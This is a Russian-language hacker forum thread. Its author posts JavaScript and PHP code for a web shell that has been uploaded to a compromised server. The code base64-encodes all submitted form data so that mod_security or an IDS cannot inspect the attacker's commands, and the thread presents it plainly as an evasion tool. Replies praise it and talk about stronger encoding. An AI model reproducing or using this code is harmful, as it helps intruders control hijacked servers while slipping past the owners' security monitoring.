обход mod_security или шифруем трафик

Discussion in 'Безопасность и Анонимность' started by ShAnKaR, 18 Feb 2007.

  1. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    наверняка у тебя дружище бывало не раз так что ты через пару минут как залил на сервачек свой скриптик и пытаясь скомпилить одей софт видишь сообщение браузера что хост не доступен или пермишен денайд например, что это за фигня? вот облом то!
    хоть ты и пользовался только методом POST но весь траф все равно проверялся mod_scurity или какойнить IDS, так вот чтоб этого не было можно исправить свой веб шел так чтоб траф шифровался перед отправкой в браузере и расшифровывался скриптом при принятии, вот собственно я и наваял коечего
    все работает так:
    собираются все данные форм кодируются в base64 и отправляются скрипту , там раскодируются и в массив POST забиваются.
     
    #1 ShAnKaR, 18 Feb 2007
    Last edited: 6 May 2009
    4 people like this.
  2. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    кароче шифрование оставил только на отправляемые данные
    всего ~60 строчек кода:
    JavaScript код ставим в шеле в теге <head>
    base64_encode функция честно украдена, остальное мое.
    PHP:
    <script>
    var 
    B64={
    _keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
    enc:function(input){var output="";var chr1,chr2,chr3,enc1,enc2,enc3,enc4;var i=0;
    input=B64.uenc(input);while(i<input.length){chr1=input.charCodeAt(i++);chr2=input.charCodeAt(i++);chr3=input.charCodeAt(i++);
    enc1=chr1>>2;enc2=((chr1&3)<<4)|(chr2>>4);enc3=((chr2&15)<<2)|(chr3>>6);enc4=chr3&63;if(isNaN(chr2)){enc3=enc4=64;}else if(isNaN(chr3)){enc4=64;}
    output=output+this._keyStr.charAt(enc1)+this._keyStr.charAt(enc2)+this._keyStr.charAt(enc3)+this._keyStr.charAt(enc4);}return output;},
    uenc:function(string){string=string.replace("/\r\n/g","\n");var utftext="";for(var n=0;n<string.length;n++){
    var 
    c=string.charCodeAt(n);if(c<128){utftext+=String.fromCharCode(c);}
    else if((
    c>127)&&(c<2048)){utftext+= String.fromCharCode((c>>6)|192);utftext+= String.fromCharCode((c&63)|128);}
    else{
    utftext+=String.fromCharCode((c>>12)|224);utftext+=String.fromCharCode(((c>>6)&63)|128);utftext+=String.fromCharCode((c&63)|128);}}
    return 
    utftext;}
    }
    document.onclick=function(e){
    e=e||event;
    var 
    F=e.target||e.srcElement;
    if(
    F.tagName=="INPUT"&&F.type=="submit"){
    var 
    D=document;
    var 
    I=0;
    var 
    C=new Array();
    var 
    S=F;
    var 
    T="";
    do 
    F=F.parentNode
    while(
    F!="[object HTMLFormElement]");
    for(var 
    a in F.elements){
    A=F.elements[a];
    switch(
    A.type){
    case 
    "checkbox":
    if(
    A.checked)T+=A.name+"=on&";
    break;
    case 
    "select-multiple":
    for(var 
    t in A.options){if(A.options[t].selected)T+=A.name+"="+escape(A.options[t].value)+"&";}
    break;
    case 
    "radio":
    if(
    A.checked)T+=A.name+"="+escape(A.value)+"&";
    break;
    case 
    "file":
    C[I]=A.cloneNode(true);C[I].setAttribute("style","visibility:hidden");I++;
    break;
    case 
    "submit":
    if(
    A===S)T+=A.name+"="+(escape(A.value)||1)+"&";
    break;
    default:
    T+=A.name+"="+(escape(A.value)||"")+"&";
    }}
    T=T.replace(/\+/g,"%2B");
    var 
    N=D.createElement("form");
    N.method="POST";
    N.enctype="multipart/form-data";
    var 
    H=D.createElement("input");
    H.name="encode";
    H.value=B64.enc(T);
    H.type="hidden";
    N.appendChild(H);
    for(var 
    i in C)N.appendChild(C[i]);
    D.body.appendChild(N);
    N.submit();
    D.body.removeChild(N);
    return 
    false;
    }}
    </script>
    и в начале php кода скрипта, функция обработки:
    PHP:
    if(count($_POST)>1||(empty($_POST['encode'])&&$_SERVER['REQUEST_METHOD']=='POST'))die("NO CRYPT, SORRY");
    @
    parse_str(base64_decode($_POST['encode']),$_POST);
    вроде все работает и шифруется как надо , ну естественно кроме загружаемого файла.
     
    #2 ShAnKaR, 8 Dec 2008
    Last edited: 20 May 2009
    1 person likes this.
  3. madnet

    madnet Умиротворенный

    Joined:
    9 Dec 2004
    Messages:
    868
    Likes Received:
    343
    Reputations:
    423
    респект, я тоже самое делал на своем шеле, только более глубокое шифрование, когда смогу найти время, что бы довести до ума выложу свой вариант.
     
    _________________________
  4. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    я тоже думал сначала про более глубокое но нагрузка на браузер соответственно возрастает, да и одним базе64 вроде все обходится, не встречал пока чтоб его ids на лету парсило.